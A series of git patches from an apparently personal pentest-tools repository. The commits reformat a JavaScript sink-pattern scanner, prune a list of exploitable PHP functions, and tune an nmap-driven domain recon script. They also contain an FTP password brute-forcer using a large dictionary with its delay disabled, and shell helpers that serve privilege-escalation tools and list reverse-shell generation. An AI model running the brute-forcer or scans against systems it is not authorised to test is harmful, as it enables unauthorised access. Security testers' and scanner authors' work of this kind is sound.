From 3cefab457208605bcc7d9909eafd0046709b07ae Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 30 Apr 2021 15:31:28 +0100 Subject: [PATCH 001/289] nodestructor reformat --- nodestructor/nodestructor.py | 56 ++++++++++++++++++------------------ 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index cc775df..16f0430 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -202,12 +202,12 @@ def process_files(subdirectory, sd_files, pattern="", verbose=False): if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): if (skip_test_files is False): perform_code_analysis(current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: perform_code_analysis( current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 def perform_code_analysis(src, pattern="", verbose=False): @@ -221,25 +221,25 @@ def perform_code_analysis(src, pattern="", verbose=False): # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - patterns=[".*" + pattern] + patterns = [".*" + pattern] - print_filename=True + print_filename = True - _file=open(src, "r") - _code=_file.readlines() - i=0 - patterns_found_in_file=0 + _file = open(src, "r") + _code = _file.readlines() + i = 0 + patterns_found_in_file = 0 for _line in _code: i += 1 - __line=_line.strip() + __line = _line.strip() for __pattern in patterns: - __rex=re.compile(__pattern) + __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - files_with_identified_patterns=files_with_identified_patterns + 1 + files_with_identified_patterns = files_with_identified_patterns + 1 print("FILE: \33[33m{}\33[0m\n".format(src)) - print_filename=False + print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, ' code pattern identified: ', _code, verbose) @@ -247,7 +247,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # URL searching if identify_urls == True: if url_regex.search(__line): - __url=url_regex.search(__line).group(0) + __url = url_regex.search(__line).group(0) # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, @@ -255,7 +255,7 @@ def perform_code_analysis(src, pattern="", verbose=False): urls.append(__url) if patterns_found_in_file > 0: - patterns_identified=patterns_identified + patterns_found_in_file + patterns_identified = patterns_identified + patterns_found_in_file print(beautyConsole.getColor("red") + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + beautyConsole.getSpecialChar("endline")) @@ -266,7 +266,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if __name__ == "__main__": show_banner() - parser=argparse.ArgumentParser() + parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( "-r", "--recursive", help="check files recursively", action="store_true") @@ -287,26 +287,26 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") - args=parser.parse_args() + args = parser.parse_args() try: - base_path=args.filename + base_path = args.filename if args.recursive: - FILE_LIST=os.listdir(args.filename) + FILE_LIST = os.listdir(args.filename) - pattern=args.pattern if args.pattern else "" + pattern = args.pattern if args.pattern else "" - exclude=[e for e in args.exclude.split( + exclude = [e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always - include=[i for i in args.include.split(',')] if args.include else [] + include = [i for i in args.include.split(',')] if args.include else [] - skip_node_modules=args.skip_node_modules - skip_test_files=args.skip_test_files - identify_urls=args.include_urls - verbose=args.verbose + skip_node_modules = args.skip_node_modules + skip_test_files = args.skip_test_files + identify_urls = args.include_urls + verbose = args.verbose if args.include_browser_patterns: - patterns=patterns + browser_patterns + patterns = patterns + browser_patterns if args.recursive: for subdir, dirs, files in os.walk(base_path): @@ -318,10 +318,10 @@ def perform_code_analysis(src, pattern="", verbose=False): process_files(subdir, files, pattern, verbose) else: # process only single file - s_filename=args.filename + s_filename = args.filename if s_filename[-3:] == '.js': perform_code_analysis(s_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 except Exception as ex: print("{}An exception occured: {}\n\n".format( From 434d210fc88026e037bc96e1121430b64f7fdc62 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 23 May 2021 22:29:46 +0100 Subject: [PATCH 002/289] [denumerator.py] removed unused timeout arg --- denumerator/denumerator.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4d6116b..97fb00a 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -292,14 +292,12 @@ def main(): parser.add_argument( "-f", "--file", help="File with list of hostnames") - parser.add_argument( - "-t", "--timeout", help="Max. request timeout (default = 2)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") parser.add_argument( - "-d", "--dir", help="Output directory name (default: report/") + "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) @@ -311,8 +309,6 @@ def main(): ) args = parser.parse_args() - if args.timeout: - timeout = args.timeout if args.nmap: nmap = True From 66f0b68bbda27ba8d8a0a81d68d5a4a66e96ff17 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Jun 2021 22:43:36 +0100 Subject: [PATCH 003/289] pefdocs cleanup; codestructor.py -> pef+nodestructor+improvements --- codestructor/codestructor.py | 13 +++++++++++ pef/imports/pefdocs.py | 42 ------------------------------------ pef/pef.py | 6 ++++-- pef/test.inc | 5 +++++ 4 files changed, 22 insertions(+), 44 deletions(-) create mode 100755 codestructor/codestructor.py create mode 100644 pef/test.inc diff --git a/codestructor/codestructor.py b/codestructor/codestructor.py new file mode 100755 index 0000000..3e5b1d6 --- /dev/null +++ b/codestructor/codestructor.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +''' + CODEStructor.py - Static Code Analysis grep-like tool on steroids :) + - grep-like search for dangerous code patterns, sources and sinks + - search for secrets, hardcoded credentials, interesting strings like hashes etc. + - detailed, colorful output with configurable verbosity level + - based on my previous tools: nodestructor and pef + + @author bl4de + @github https://github.com/bl4de/security-tools +''' +import argparse + diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 153fad3..856f40b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -29,24 +29,6 @@ "Code Injection", "high" ], - "fopen()": [ - "Opens file or URL", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Local File Include; Remote File Include", - "high" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command", - "popen ( string $command , string $mode ) : resource", - "RCE", - "high" - ], - "pcntl_exec()": [ - "Executes specified program in current process space with the given arguments", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "high" - ], "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", @@ -113,18 +95,6 @@ "Code Injection", "medium" ], - "parse_str()": [ - "Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).", - "parse_str ( string $encoded_string [, array &$result ] ) : void", - "Code Injection", - "medium" - ], - "putenv()": [ - "Sets the value of an environment variable", - "putenv ( string $setting ) : bool", - "Code Injection", - "low" - ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", "ini_set ( string $varname , string $newvalue ) : string", @@ -143,12 +113,6 @@ "XSS, HTML Injection, Content Injection etc.", "low" ], - "header()": [ - "header() is used to send a raw HTTP header.", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection (?)", - "low" - ], "unserialize()": [ "unserialize() takes a single serialized variable and converts it back into a PHP value.", "unserialize ( string $str [, array $options ] ) : mixed", @@ -407,12 +371,6 @@ "Information Disclosure", "low" ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "Configuration Arbitrary Change in runtime", - "low" - ], "php_uname()": [ "Returns information about the operating system PHP is running on", "php_uname ([ string $mode = \"a\" ] ) : string", diff --git a/pef/pef.py b/pef/pef.py index 2161b05..3873456 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -30,7 +30,8 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", " " * 35, "-" * 16) + print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", + " " * 35, "-" * 16) print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") @@ -237,7 +238,8 @@ def run(self): if self.recursive: for root, subdirs, files in os.walk(self.filename): for f in files: - if f.find('php') > 0: + extension = f.split('.')[-1:][0] + if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) self.found_entries = self.found_entries + res diff --git a/pef/test.inc b/pef/test.inc new file mode 100644 index 0000000..fe82216 --- /dev/null +++ b/pef/test.inc @@ -0,0 +1,5 @@ + Date: Wed, 23 Jun 2021 21:39:46 +0100 Subject: [PATCH 004/289] s0mbra: nmap scan for N-ports --- denumerator/denumerator.py | 40 ++++++++++++++++++++++++-------------- ftpLoginBruteforcer.py | 8 +++----- s0mbra.sh | 15 ++++++++++++++ 3 files changed, 43 insertions(+), 20 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 97fb00a..f32c086 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -43,6 +43,7 @@ "white": '\33[37m', 200: '\33[32m', 204: '\33[32m', + 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', 304: '\33[33m', @@ -51,6 +52,8 @@ 403: '\33[94m', 404: '\33[94m', 405: '\33[94m', + 411: '\33[94m', + 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', 500: '\33[31m', @@ -65,6 +68,7 @@ timeout = 2 nmap = False + def usage(): """ prints welcome message @@ -115,9 +119,9 @@ def create_output_header(html_output): def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' - screenshot_cmd = '/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --headless --user-agent="HackerOne" --dns-prefetch-disable --log-level=0 --timeout=30000 --screenshot={} '.format( + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( './reports/{}/'.format(output_directory) + screenshot_name) - + # os.system(screenshot_cmd + url) subprocess.run( screenshot_cmd + url, @@ -141,7 +145,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ips = [ip for ip in ip_addresses.split(b"\n")] for ip in ips: if ip.find(b"address") > 0: - ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) + ip_html = ip_html + "

IP: {}

".format( + ip.split(b"address")[1].decode("utf-8")) ip_html = ip_html + "" nmap_html = "
" @@ -151,7 +156,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

".format(port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "
" # HTTP response headers @@ -241,26 +247,28 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], + iterator, number_of_domains, colors['white'])) # IP address - ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout + ip = subprocess.run( + ["host", d], capture_output=True, timeout=15).stdout nmap_output = '' - + if nmap == True: # perform nmap scan nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + send_request('https', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + except requests.exceptions.InvalidURL: if show is True: print('[-] {} is not a valid URL :/'.format(d)) @@ -295,7 +303,7 @@ def main(): parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( - "-o", "--output", help="Path to output file") + "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( @@ -321,7 +329,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = ['200','301','500'] + allowed_http_responses = ['200', '301', '500'] nmap_top_ports = args.ports @@ -340,15 +348,17 @@ def main(): os.mkdir('reports/{}'.format(output_directory)) # starts output HTML - html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') + html_output = open( + 'reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) # if output filename was specified, create it and use to write report result if args.output: - output_filename = os.path.join('reports', output_directory, args.output) + output_filename = os.path.join( + 'reports', output_directory, args.output) output_file = open(output_filename, 'w+') else: - output_file = '__enumerated_domains.txt' + output_file = open('__enumerated_domains.txt', 'w+') # main loop enumerate_domains(domains, output_file, html_output, diff --git a/ftpLoginBruteforcer.py b/ftpLoginBruteforcer.py index 93c80df..5f85dd6 100755 --- a/ftpLoginBruteforcer.py +++ b/ftpLoginBruteforcer.py @@ -20,15 +20,14 @@ print ftp.getwelcome() # pwds = ['root','123456','password'] tries = 0 -# for p in open('/Users/bl4de/hacking/dictionaries/passwords_5445.txt', 'r').readlines(): -for p in open('./passwords.txt', 'r').readlines(): -# for p in pwds: +for p in open('/Users/bl4de/hacking/dictionaries/100000_passwords.txt', 'r').readlines(): + # for p in pwds: try: tries = tries + 1 print "[+] try {}: trying {}:{}".format(tries, username, p.strip()) resp = ftp.sendcmd('USER {}'.format(username)) print resp - time.sleep(4) + # time.sleep(4) resp = ftp.sendcmd('PASS {}'.format(p.strip())) print resp print "[+] Logged in! -> {}".format(str(resp)) @@ -36,4 +35,3 @@ except Exception, e: print e pass - diff --git a/s0mbra.sh b/s0mbra.sh index 97f2f79..71be945 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -93,6 +93,17 @@ full_nmap_scan() { echo -e "[+] Done!" } + +# runs --top-ports 1000 against IP; then -sV -sC -A against every open port found +quick_nmap_scan() { + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "\t\t -> search top $2 open ports..." + ports=$(nmap --top-ports $2 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + echo -e "[+] Done!" +} + # runs Python 3 built-in HTTP server on [PORT] http_server() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" @@ -449,6 +460,9 @@ case "$cmd" in full_nmap_scan) full_nmap_scan "$2" ;; + quick_nmap_scan) + quick_nmap_scan "$2" "$3" + ;; http_server) http_server "$2" ;; @@ -529,6 +543,7 @@ case "$cmd" in echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tquick_nmap_scan [IP][PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate N-ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From c0875374bab565b1ef98b54485b5f1860a3856ab Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Jun 2021 23:38:07 +0100 Subject: [PATCH 005/289] s0mbra: display content of the directory where http_server command was executed --- s0mbra.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 71be945..43b5b3a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -107,6 +107,9 @@ quick_nmap_scan() { # runs Python 3 built-in HTTP server on [PORT] http_server() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + echo -e "$YELLOW available files/folders in SERVER ROOT: $CLR" + ls -l + echo -e "\n\n" python3 -m http.server "$1" } From a2e5f20b152e1ad47b8aa8e435bfc43efa44253b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Jun 2021 11:19:41 +0100 Subject: [PATCH 006/289] [s0mbra] nmap quick and full scan for N top ports; XML output file for searchsploit --- s0mbra.sh | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 43b5b3a..6451883 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -83,24 +83,22 @@ interactive() { esac } -# runs -p- against IP; then -sV -sC -A against every open port found +# runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $1 ...$CLR" + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap -p- "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" } -# runs --top-ports 1000 against IP; then -sV -sC -A against every open port found +# runs --top-ports $2 against IP quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - ports=$(nmap --top-ports $2 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log + nmap --top-ports $2 $1 echo -e "[+] Done!" } @@ -461,7 +459,7 @@ case "$cmd" in subdomenum "$2" "$3" ;; full_nmap_scan) - full_nmap_scan "$2" + full_nmap_scan "$2" "$3" ;; quick_nmap_scan) quick_nmap_scan "$2" "$3" @@ -545,8 +543,8 @@ case "$cmd" in echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tquick_nmap_scan [IP][PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate N-ports + -sV -sC -A on found open ports" + echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" + echo -e "\tquick_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From 615e2ecb738161203161f59da786e00b2b46b1c8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Jun 2021 02:52:23 +0100 Subject: [PATCH 007/289] [s0mbra] improvements --- s0mbra.sh | 27 +++++++++++++++++---------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6451883..a7166e4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -87,7 +87,7 @@ interactive() { full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search all open ports..." - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" $1 -v | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" @@ -98,17 +98,24 @@ full_nmap_scan() { quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - nmap --top-ports $2 $1 + nmap -v --top-ports $2 $1 echo -e "[+] Done!" } # runs Python 3 built-in HTTP server on [PORT] -http_server() { +http() { echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" - echo -e "$YELLOW available files/folders in SERVER ROOT: $CLR" + echo -e "$GRAY\navailable network interfaces:$YELLOW" + ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 + echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" ls -l echo -e "\n\n" - python3 -m http.server "$1" + if [[ -z "$1" ]]; then + PORT=7777; + else + PORT=$1 + fi + python3 -m http.server $PORT } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] @@ -167,7 +174,7 @@ privesc_tools_linux() { echo -e "$BLUE[+] Available tools:$CLR" tree -L 2 . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 + http 9119 } @@ -177,7 +184,7 @@ privesc_tools_windows() { echo -e "$BLUE[+] Available tools:$CLR" ls -lR . echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http_server 9119 + http 9119 } # enumerates SMB shares on [IP] - port 445 has to be open @@ -464,8 +471,8 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - http_server) - http_server "$2" + http) + http "$2" ;; rockyou_john) rockyou_john "$2" "$3" @@ -550,7 +557,7 @@ case "$cmd" in echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\thttp [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From 18b824e94091eab43e42bba674050f8dc1ecf257 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 1 Jul 2021 01:19:57 +0100 Subject: [PATCH 008/289] [nodestructor] some new patterns added --- nodestructor/nodestructor.py | 49 +++++++++++++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 16f0430..a59d428 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -124,7 +124,54 @@ ".*prepend", ".*setContent\(", ".*setHTML\(", - ".*\.SafeString\(" + ".*\.SafeString\(", + ".*jQuery.globalEval", + ".*execScript", + ".*element.insertAdjacentHTML", + ".*element.setAttribute.on", + "xhr.open", + "xhr.send", + "fetch", + "xhr.setRequestHeader.name", + "xhr.setRequestHeader.value", + "jQuery.attr.href", + "jQuery.attr.src", + "jQuery.attr.data", + "jQuery.attr.action", + "jQuery.attr.formaction", + "jQuery.prop.href", + "jQuery.prop.src", + "jQuery.prop.data", + "jQuery.prop.action", + "jQuery.prop.formaction", + "form.action", + "input.formaction", + "button.formaction", + "button.value", + "element.setAttribute.href", + "element.setAttribute.src", + "element.setAttribute.data", + "element.setAttribute.action", + "element.setAttribute.formaction", + "webdatabase.executeSql", + "document.domain", + "history.pushState", + "history.replaceState", + "xhr.setRequestHeader", + "websocket", + "anchor.href", + "anchor.target", + "JSON.parse", + "document.cookie", + "localStorage.setItem.name", + "localStorage.setItem.value", + "sessionStorage.setItem.name", + "sessionStorage.setItem.value", + "element.outerText", + "element.innerText", + "element.textContent", + "element.style.cssText", + "RegExp" ] url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From e5751208ee1ef5c77a84975351c9d789b82f8d1c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 00:59:43 +0100 Subject: [PATCH 009/289] SonarCloud integration --- .github/workflows/build.yml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 .github/workflows/build.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..c3c313d --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,20 @@ +name: Build +on: + push: + branches: + - master + pull_request: + types: [opened, synchronize, reopened] +jobs: + sonarcloud: + name: SonarCloud + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + with: + fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis + - name: SonarCloud Scan + uses: SonarSource/sonarcloud-github-action@master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} From 899c3d7d90f920816002656a7f78c2082a9a5807 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 01:00:25 +0100 Subject: [PATCH 010/289] SonarCloud integration --- sonar-project.properties | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 sonar-project.properties diff --git a/sonar-project.properties b/sonar-project.properties new file mode 100644 index 0000000..3fb79ea --- /dev/null +++ b/sonar-project.properties @@ -0,0 +1,13 @@ +sonar.projectKey=bl4de_security-tools +sonar.organization=bl4de + +# This is the name and version displayed in the SonarCloud UI. +#sonar.projectName=security-tools +#sonar.projectVersion=1.0 + +# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows. +#sonar.sources=. + +# Encoding of the source code. Default is default system encoding +#sonar.sourceEncoding=UTF-8 + From f288d572fcdae9c6648a51c0fb5040bcbedbe854 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 2 Jul 2021 01:06:13 +0100 Subject: [PATCH 011/289] removed SonarCloud --- .github/workflows/build.yml | 20 -------------------- sonar-project.properties | 13 ------------- 2 files changed, 33 deletions(-) delete mode 100644 .github/workflows/build.yml delete mode 100644 sonar-project.properties diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index c3c313d..0000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Build -on: - push: - branches: - - master - pull_request: - types: [opened, synchronize, reopened] -jobs: - sonarcloud: - name: SonarCloud - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - with: - fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis - - name: SonarCloud Scan - uses: SonarSource/sonarcloud-github-action@master - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} diff --git a/sonar-project.properties b/sonar-project.properties deleted file mode 100644 index 3fb79ea..0000000 --- a/sonar-project.properties +++ /dev/null @@ -1,13 +0,0 @@ -sonar.projectKey=bl4de_security-tools -sonar.organization=bl4de - -# This is the name and version displayed in the SonarCloud UI. -#sonar.projectName=security-tools -#sonar.projectVersion=1.0 - -# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows. -#sonar.sources=. - -# Encoding of the source code. Default is default system encoding -#sonar.sourceEncoding=UTF-8 - From 0b3b7505fc883c5fd65d6df8af008bb7fc860d07 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 11 Jul 2021 11:56:01 +0100 Subject: [PATCH 012/289] [s0mbra] changes --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a7166e4..72ffa26 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -61,7 +61,7 @@ interactive() { trap '' SIGINT SIGQUIT SIGTSTP set_ip "$1" local choice - echo "$__logo" + # echo "$__logo" echo -e "$BLUE------------------------------------------------------------------------------------------------------" echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" echo -e 